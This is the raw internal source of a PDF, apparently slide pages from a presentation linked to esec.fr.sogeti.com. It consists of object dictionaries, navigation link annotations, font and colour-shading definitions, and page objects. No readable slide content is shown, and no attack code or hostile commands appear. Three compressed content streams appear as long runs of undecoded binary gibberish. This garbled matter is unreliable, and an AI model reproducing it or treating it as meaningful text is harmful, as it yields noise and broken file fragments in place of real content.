(Navigation28) >> >> endobj 514 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 339.078 5.96 348.045 15.425 ] /Subtype /Link /A << /S /Named /N /GoBack >> >> endobj 515 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 346.052 5.96 354.022 15.425 ] /Subtype /Link /A << /S /Named /N /Find >> >> endobj 516 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 352.03 5.96 360.996 15.425 ] /Subtype /Link /A << /S /Named /N /GoForward >> >> endobj 517 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 264.495 182.414 271.878 ] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 518 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 259.104 182.414 266.488 ] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 519 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 253.713 182.414 261.097 ] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 520 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 248.323 182.414 255.706 ] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 521 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 182.753 -0.996 291.642 5.96 ] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 522 0 obj << /ColorSpace 3 0 R /Pattern 2 0 R /ExtGState 1 0 R /Font << /F26 84 0 R /F38 85 0 R /F39 87 0 R /F15 155 0 R /F63 525 0 R >> /XObject << /Fm1 46 0 R /Fm7 124 0 R /Fm5 119 0 R /Fm3 53 0 R /Fm4 54 0 R /Fm2 52 0 R /Fm6 120 0 R /Fm16 494 0 R /Fm17 495 0 R /Im7 118 0 R >> /ProcSet [ /PDF /Text ] >> endobj 523 0 obj << /Type /Page /Contents 524 0 R /Resources 522 0 R /MediaBox [ 0 0 362.835 272.126 ] /Trans << /S /R >> /Parent 491 0 R /Annots [ 496 0 R 497 0 R 498 0 R 499 0 R 500 0 R 501 0 R 502 0 R 503 0 R 504 0 R 505 0 R 506 0 R 507 0 R 508 0 R 509 0 R 510 0 R 511 0 R 512 0 R 513 0 R 514 0 R 515 0 R 516 0 R 517 0 R 518 0 R 519 0 R 520 0 R 521 0 R ] /AA << /O << /N /NextPage /S /Named >> >> >> endobj 524 0 obj << /Length 2675 /Filter /FlateDecode >>stream x[S#X"oI8*˃NL C9J +JntOOOwOf׼jxsǗw@፲ye$6isvWp 4\5 h^tFc\\**& l9%2)Lp@A)nj LKLf{\s85JT;pJ1L64]04MK"<6㢁ASIMYdYXȮ(قPңqnBpMI8QJj*2sgUzz">_5y/qr$JAMrݕnVY1ȩ `6#Ynl;E&&a& {|H s.܂,i/Fãt}oé򸈔"~77o㣈r} Ad+c@24A(U4D*<| \ Ox%W87*)|K՘ֶ_q`6?JMɮN+ [p~v.$W8i2G{=o1?!=zHMnN.~z_LqGW.C].~zxQ~;m[g+7UR̷)'|;3rIh&]5tAR%f0U*TuGaQROf\'cS÷e6oj(*v(X|<%ޘRڐ6%JLҤT!b6ßuJF*^\5 vtAA 5XٸPߢm^[5}*P*)lZ8V& l#LP>T׊^4{ J6"t4@'T *ʩT]M*BM #<,:eY\HpSj4v$%ioREy\As1GS1%YC mmZщ7.tNf絎 .|b{^mՋ5).IeDiPCnrU7UAA#B(F9h&~lܶvڐkAT$Z[. Upp9=fg0.:܆{jS9%ٶβ`mlh~]I pgk%O5b]] НrVT*3: $.zgC yX'^y D98`_ zob/@5ͅL#*˼;",<&,Xp>W2g = +/ E@?d wD1CSN696bt:(#X[@x*]DVUS(9wjrFodHE6w8K'Eƫb`J'!i1n5'mjOIuBk!mvM!ƛ`SS}? Sf$R%:&tOYCj[ C`)< }u&,$gI"ia#cvƷyJ> q ^rY_+s/O [7!T|YC(TR_%u:XD wBCN(r`M E L/^69<*&?闄M7bSM;k9J˴ F ښckZht3%a{>(^wp79fe%1'oc6BTNw;C,wY|8-& a}|9nHu⑑ƜאaSj!a7LHvN+7;V҆is%=.auE4a_: Oؗ(K6Fv7 &S jX;.W(>L=\E`hbE›,ʐ|Y0NOa_>B~(G gwěZ"gTaNκØoʛ1`+(ˇt C8y^ٷK9{v&p9/6hEFR`=c[_oױt8Ij).%_GgygxHp}t6cJ:,9?o RY߽:U m5&)OS%<~*Tk)=$N9 8Q-kho endstream endobj 525 0 obj << /Type /Font /Subtype /Type1 /BaseFont /GHMJCT+CMTT10 /FontDescriptor 1283 0 R /FirstChar 40 /LastChar 120 /Widths 1248 0 R >> endobj 526 0 obj << /D [ 523 0 R /XYZ 334.488 1.245 null ] >> endobj 527 0 obj << /Shading << /Sh << /ShadingType 2 /ColorSpace /DeviceRGB /Domain [ 0 3.9851 ] /Coords [ 0 0 0 3.9851 ] /Function << /FunctionType 3 /Domain [ 0 3.9851 ] /Functions [ << /FunctionType 2 /Domain [ 0 3.9851 ] /C0 [ 1 0.8125 0.8125 ] /C1 [ 1 0.8125 0.8125 ] /N 1 >> << /FunctionType 2 /Domain [ 0 3.9851 ] /C0 [ 1 0.8125 0.8125 ] /C1 [ 1 0.25 0.25 ] /N 1 >> ] /Bounds [ 1.99255 ] /Encode [ 0 1 0 1 ] >> /Extend [ false false ] >> >> /ProcSet [ /PDF ] >> endobj 528 0 obj << /Shading << /Sh << /ShadingType 3 /ColorSpace /DeviceRGB /Domain [ 0 2.34438 ] /Coords [ 1.52634 3.34418 0 2.34438 2.34438 2.34438 ] /Function << /FunctionType 3 /Domain [ 0 2.34438 ] /Functions [ << /FunctionType 2 /Domain [ 0 2.34438 ] /C0 [ 1 0.85 0.85 ] /C1 [ 1 0.25 0.25 ] /N 1 >> << /FunctionType 2 /Domain [ 0 2.34438 ] /C0 [ 1 0.25 0.25 ] /C1 [ 0.7 0 0 ] /N 1 >> << /FunctionType 2 /Domain [ 0 2.34438 ] /C0 [ 0.7 0 0 ] /C1 [ 0.5 0 0 ] /N 1 >> << /FunctionType 2 /Domain [ 0 2.34438 ] /C0 [ 0.5 0 0 ] /C1 [ 1 0.8125 0.8125 ] /N 1 >> ] /Bounds [ 0.72711 1.45424 1.99962 ] /Encode [ 0 1 0 1 0 1 0 1 ] >> /Extend [ true false ] >> >> /ProcSet [ /PDF ] >> endobj 529 0 obj << /D [ 557 0 R /XYZ 334.488 1.245 null ] >> endobj 530 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0 1 1 ] /Rect [ 336.542 15.425 360.996 40.094 ] /Subtype /Link /A << /Type /Action /S /URI /URI (http://www.esec.fr.sogeti.com) >> >> endobj 531 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 232.399 5.96 240.369 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation8) >> >> endobj 532 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 238.376 5.96 248.339 15.425 ] /Subtype /Link /A << /S /Named /N /GoToPage >> >> endobj 533 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 246.346 5.96 254.316 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation10) >> >> endobj 534 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 253.735 5.96 260.708 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation8) >> >> endobj 535 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 258.716 5.96 265.69 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation9) >> >> endobj 536 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 263.697 5.96 270.671 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation9) >> >> endobj 537 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 268.679 5.96 275.652 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation10) >> >> endobj 538 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 275.071 5.96 282.044 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation6) >> >> endobj 539 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 280.052 5.96 287.026 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 540 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 285.033 5.96 292.007 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation10) >> >> endobj 541 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 290.014 5.96 296.988 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 542 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 296.406 5.96 303.38 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation6) >> >> endobj 543 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 301.388 5.96 308.362 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 544 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 306.369 5.96 313.343 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation10) >> >> endobj 545 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 311.35 5.96 318.324 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 546 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 317.742 5.96 328.701 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 547 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 326.709 5.96 339.66 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 548 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 339.078 5.96 348.045 15.425 ] /Subtype /Link /A << /S /Named /N /GoBack >> >> endobj 549 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 346.052 5.96 354.022 15.425 ] /Subtype /Link /A << /S /Named /N /Find >> >> endobj 550 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 352.03 5.96 360.996 15.425 ] /Subtype /Link /A << /S /Named /N /GoForward >> >> endobj 551 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 264.495 182.414 271.878 ] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 552 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 259.104 182.414 266.488 ] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 553 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 253.713 182.414 261.097 ] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 554 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 248.323 182.414 255.706 ] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 555 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 182.753 -0.996 291.642 5.96 ] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 556 0 obj << /ColorSpace 3 0 R /Pattern 2 0 R /ExtGState 1 0 R /Font << /F26 84 0 R /F38 85 0 R /F39 87 0 R /F15 155 0 R /F66 559 0 R >> /XObject << /Fm1 46 0 R /Fm7 124 0 R /Fm5 119 0 R /Fm3 53 0 R /Fm4 54 0 R /Fm2 52 0 R /Fm6 120 0 R /Fm16 494 0 R /Im7 118 0 R >> /ProcSet [ /PDF /Text ] >> endobj 557 0 obj << /Type /Page /Contents 558 0 R /Resources 556 0 R /MediaBox [ 0 0 362.835 272.126 ] /Trans << /S /R >> /Parent 491 0 R /Annots [ 530 0 R 531 0 R 532 0 R 533 0 R 534 0 R 535 0 R 536 0 R 537 0 R 538 0 R 539 0 R 540 0 R 541 0 R 542 0 R 543 0 R 544 0 R 545 0 R 546 0 R 547 0 R 548 0 R 549 0 R 550 0 R 551 0 R 552 0 R 553 0 R 554 0 R 555 0 R ] /AA << /O << /N /NextPage /S /Named >> >> >> endobj 558 0 obj << /Length 2703 /Filter /FlateDecode >>stream x[KsW/&P]J\9D$|r%*A@Y`)S*[%-gz1n*V;bkOOJ8+aEÅmu}~{n]ǥT([-yKa\[`Bj Oas2j#'Hi-}Mlu:uc(a% l9Ex%lוki\ՎIzW8kco`gth#ck47Sh! 5Ū#0۔U3)"?G6(hLj# /S1Ht+g5o4lLlv9 )xr7Qd#rO.H`t|ehACY"${C%,c`4IGk xXo 5 &wX|ȓ:KڧA yH^,4&nF_kŝDvz$_*=7űA`ۥwS&!lQG'-Ye%˥6ӘI a^$dDF%T&6eSkRۖe K{P@?m=4n ~֓bEpHwTu)M1e<>V gpE2"׃!fPQy#(.q 5*!] E q` *yQUfv3n}f ,U9}gӘFm/~=g!P FE7s T3 p9 .Pc< =48>wEl#Y$~?) ~Ի߮M o~.=[LP?c4V)]LqihEk #^abBp bo)1Z`t%-IzJ4TcjmfvBS%ܘw#WòxEXx F!0j``Ǥ Fh} 0 jẌ́c(ݗM t:'Zkϒ6.n0~y~n=y~}6DLkvOV5:_uԫ uĈ22BKGLY)@*xar#\$t7a4 `\/LV,PQə1z4Vr6<ȡ% 8\3눈c蹸DʴEgJp \qg2d4xO|Ћ0qJI EV.LomBYJo b5ˤM{O ]T2Ɋ> ƩIi>\& ~ט?%WVE: x"4D3]\wٗq_}{ ]ʑ,Y?M@ۅܼɄP͚p|apg.c|ZuNۻ;n=2&i#vr,x/ݴr{x1Gp i\_+Ad wLƃYqQj[[3q㖷{y}E{;c8x9vqЂoyf/2 endstream endobj 559 0 obj << /Type /Font /Subtype /Type1 /BaseFont /KQSAKW+CMSSBX10 /FontDescriptor 1269 0 R /FirstChar 19 /LastChar 122 /Widths 1247 0 R >> endobj 560 0 obj << /D [ 557 0 R /XYZ 334.488 1.245 null ] >> endobj 561 0 obj << /Type /XObject /Subtype /Form /BBox [ 0 0 5669.291 3.985 ] /FormType 1 /Matrix [ 1 0 0 1 0 0 ] /Resources 594 0 R /Length 15 /Filter /FlateDecode >>stream xP( endstream endobj 562 0 obj << /Type /XObject /Subtype /Form /BBox [ 0 0 4.689 4.689 ] /FormType 1 /Matrix [ 1 0 0 1 0 0 ] /Resources 595 0 R /Length 15 /Filter /FlateDecode >>stream xP( endstream endobj 563 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0 1 1 ] /Rect [ 336.542 15.425 360.996 40.094 ] /Subtype /Link /A << /Type /Action /S /URI /URI (http://www.esec.fr.sogeti.com) >> >> endobj 564 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 232.399 5.96 240.369 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation9) >> >> endobj 565 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 238.376 5.96 248.339 15.425 ] /Subtype /Link /A << /S /Named /N /GoToPage >> >> endobj 566 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 246.346 5.96 254.316 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 567 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 253.735 5.96 260.708 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation9) >> >> endobj 568 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 258.716 5.96 265.69 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation10) >> >> endobj 569 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 263.697 5.96 270.671 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation10) >> >> endobj 570 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 268.679 5.96 275.652 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 571 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 275.071 5.96 282.044 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation6) >> >> endobj 572 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 280.052 5.96 287.026 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 573 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 285.033 5.96 292.007 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation10) >> >> endobj 574 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 290.014 5.96 296.988 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 575 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 296.406 5.96 303.38 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation6) >> >> endobj 576 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 301.388 5.96 308.362 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 577 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 306.369 5.96 313.343 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation10) >> >> endobj 578 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 311.35 5.96 318.324 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 579 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 317.742 5.96 328.701 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 580 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 326.709 5.96 339.66 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 581 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 339.078 5.96 348.045 15.425 ] /Subtype /Link /A << /S /Named /N /GoBack >> >> endobj 582 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 346.052 5.96 354.022 15.425 ] /Subtype /Link /A << /S /Named /N /Find >> >> endobj 583 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 352.03 5.96 360.996 15.425 ] /Subtype /Link /A << /S /Named /N /GoForward >> >> endobj 584 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 264.495 182.414 271.878 ] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 585 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 259.104 182.414 266.488 ] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 586 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 253.713 182.414 261.097 ] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 587 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 248.323 182.414 255.706 ] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 588 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 182.753 -0.996 291.642 5.96 ] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 589 0 obj << /ColorSpace 3 0 R /Pattern 2 0 R /ExtGState 1 0 R /Font << /F26 84 0 R /F38 85 0 R /F39 87 0 R /F15 155 0 R /F66 559 0 R /F14 592 0 R /F63 525 0 R >> /XObject << /Fm1 46 0 R /Fm7 124 0 R /Fm16 494 0 R /Fm3 53 0 R /Fm4 54 0 R /Fm2 52 0 R /Fm17 495 0 R /Fm18 561 0 R /Fm19 562 0 R /Im7 118 0 R >> /ProcSet [ /PDF /Text ] >> endobj 590 0 obj << /Type /Page /Contents 591 0 R /Resources 589 0 R /MediaBox [ 0 0 362.835 272.126 ] /Trans << /S /R >> /Parent 491 0 R /Annots [ 563 0 R 564 0 R 565 0 R 566 0 R 567 0 R 568 0 R 569 0 R 570 0 R 571 0 R 572 0 R 573 0 R 574 0 R 575 0 R 576 0 R 577 0 R 578 0 R 579 0 R 580 0 R 581 0 R 582 0 R 583 0 R 584 0 R 585 0 R 586 0 R 587 0 R 588 0 R ] /AA << /O << /N /NextPage /S /Named >> >> >> endobj 591 0 obj << /Length 2926 /Filter /FlateDecode >>stream xkoFK#Bz_G~q)eqaIff\RFi YV\xqzWW;BjQYYˆ ],ѽs؂UK*VXnpβ39#V)MUKWp]))NC4E̡Ć;!#g8/tua+U4wNbT0$VB; ) Hu+LjN{чPcőc9gEH"Ȫ*F[:n 3ˆzI9Q&]JJ f]R1fa"+9r1#Cr,Dg KغGd8I y Ow 5 $ aa -%Wfo牜<炏-#5/VQM<@gl.^_<棓q ގKF lr hp݆?rOBK>)(k,EoL$2NrP % R-7f 5 Z~u..@mvkA. K0~J[yc%:)' M5 )'8!!ll\*#FW Xa T䬫PV/o.-2h9.҉{HyVتT%Fh=B.RʀS)b4Yq g!"o&5Nk\^OOW2Ԡu8=]V&H~TwJNʡe``6t8Ί=úR-XaPwxnpJCzS r-3%LLXXA ᲉmTOܽȕ KisA G22.3ίv HHCH:(ȔR W wEU"MiBA2`(E0n \JY^9u *w|':挥Q{x ^\-'r{r\!,T0y!̇0z;.y|4HNOczcFn'[)k[i#Cc~ "D6wWsiK$!{phe>scf*Adr1-$<SLUPQ@\t8(a< r8[aB VӒeLBʣ7BŦG&i*d{tI ~Ã`) +0CFӮIͱ]unޯ^vI\~ "Fw̐6mh;l`؁,e]2^K.D)G^m >y~׌&N9MKC Vtrp:$45b!ef1DD 5:4u}Ec9ƷHcKhW,^JއuU!sꠈ *)[Ge)E_HɌz $l;nR\r_$WT"(vԓJp@NSh8\=ZK2{smpϝ9tgA-pܘźji‹ۭ2krŌN=5uf mར껉+`Ӏ<ߎ{4)Jx5)2yqv+12$!s[\6G>v$t`"ZXp+uyxǕкĢCJ]2 kלbM tq!\;3k@9ļWbw z${/b}^/̾^K&TQS޷k{ ]PdX&VćΏhN`KD8} Oh묅>G;_PGn?R:.+` i?,Օ4:_'P1~f1Zm? Tȡ8x8{B;p4q endstream endobj 592 0 obj << /Type /Font /Subtype /Type1 /BaseFont /VXSPEQ+CMSY10 /FontDescriptor 1277 0 R /FirstChar 20 /LastChar 106 /Widths 1246 0 R >> endobj 593 0 obj << /D [ 590 0 R /XYZ 334.488 1.245 null ] >> endobj 594 0 obj << /Shading << /Sh << /ShadingType 2 /ColorSpace /DeviceRGB /Domain [ 0 3.9851 ] /Coords [ 0 0 0 3.9851 ] /Function << /FunctionType 3 /Domain [ 0 3.9851 ] /Functions [ << /FunctionType 2 /Domain [ 0 3.9851 ] /C0 [ 0.8125 0.90625 0.8125 ] /C1 [ 0.8125 0.90625 0.8125 ] /N 1 >> << /FunctionType 2 /Domain [ 0 3.9851 ] /C0 [ 0.8125 0.90625 0.8125 ] /C1 [ 0.25 0.625 0.25 ] /N 1 >> ] /Bounds [ 1.99255 ] /Encode [ 0 1 0 1 ] >> /Extend [ false false ] >> >> /ProcSet [ /PDF ] >> endobj 595 0 obj << /Shading << /Sh << /ShadingType 3 /ColorSpace /DeviceRGB /Domain [ 0 2.34438 ] /Coords [ 1.52634 3.34418 0 2.34438 2.34438 2.34438 ] /Function << /FunctionType 3 /Domain [ 0 2.34438 ] /Functions [ << /FunctionType 2 /Domain [ 0 2.34438 ] /C0 [ 0.85 0.925 0.85 ] /C1 [ 0.25 0.625 0.25 ] /N 1 >> << /FunctionType 2 /Domain [ 0 2.34438 ] /C0 [ 0.25 0.625 0.25 ] /C1 [ 0 0.35 0 ] /N 1 >> << /FunctionType 2 /Domain [ 0 2.34438 ] /C0 [ 0 0.35 0 ] /C1 [ 0 0.25 0 ] /N 1 >> << /FunctionType 2 /Domain [ 0 2.34438 ] /C0 [ 0 0.25 0 ] /C1 [ 0.8125 0.90625 0.8125 ] /N 1 >> ] /Bounds [ 0.72711 1.45424 1.99962 ] /Encode [ 0 1 0 1 0 1 0 1 ] >> /Extend [ true false ] >> >> /ProcSet [ /PDF ] >> endobj 596 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 39.514 173.47 167.034 185.473 ] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 597 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 39.514 147.129 151.749 158.574 ] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 598 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 39.514 122.163 101.969 131.675 ] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 599 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 49.467 110.207 109.959 119.024 ] /Subtype /Link /A << /S /GoTo /D (Navigation12) >> >> endobj 600 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 49.467 96.32 182.187 107.069 ] /Subtype /Link /A << /S /GoTo /D (Navigation17) >> >> endobj 601 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 39.514 69.42 253.638 80.865 ] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 602 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0 1 1 ] /Rect [ 336.542 15.425 360.996 40.094 ] /Subtype /Link /A << /Type /Action /S /URI /URI (http://www.esec.fr.sogeti.com) >> >> endobj 603 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 232.399 5.96 240.369 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation10) >> >> endobj 604 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 238.376 5.96 248.339 15.425 ] /Subtype /Link /A << /S /Named /N /GoToPage >> >> endobj 605 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 246.346 5.96 254.316 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation12) >> >> endobj 606 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 253.735 5.96 260.708 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation10) >> >> endobj 607 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 258.716 5.96 265.69 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 608 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 263.697 5.96 270.671 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 609 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 268.679 5.96 275.652 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation12) >> >> endobj 610 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 275.071 5.96 282.044 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation10) >> >> endobj 611 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 280.052 5.96 287.026 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 612 0 obj << /Type /Annot /Border [ 0 0 0 ] /H 